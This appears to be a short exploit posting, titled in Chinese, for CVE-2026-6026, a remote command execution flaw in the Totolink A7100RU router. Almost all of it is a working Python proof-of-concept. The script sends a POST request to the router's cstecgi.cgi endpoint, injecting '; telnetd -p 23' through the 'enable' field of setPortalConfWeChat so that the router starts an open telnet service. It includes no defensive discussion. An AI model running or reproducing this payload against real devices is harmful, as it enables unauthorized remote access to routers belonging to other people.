CVE-2026-6026 Totolink A7100RU远程命令执行漏洞

import requests # Target URL (Replace with actual IP) target_url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # Headers headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } # Vulnerable payload # The 'enable' parameter is injected with a command separator and a malicious command (e.g., reboot or telnetd) payload = "; telnetd -p 23" data = { "function": "setPortalConfWeChat", "enable": payload } try: response = requests.post(target_url, data=data, headers=headers, timeout=10) if response.status_code == 200: print("[+] Payload sent successfully.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed to send payload. Status code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {e}")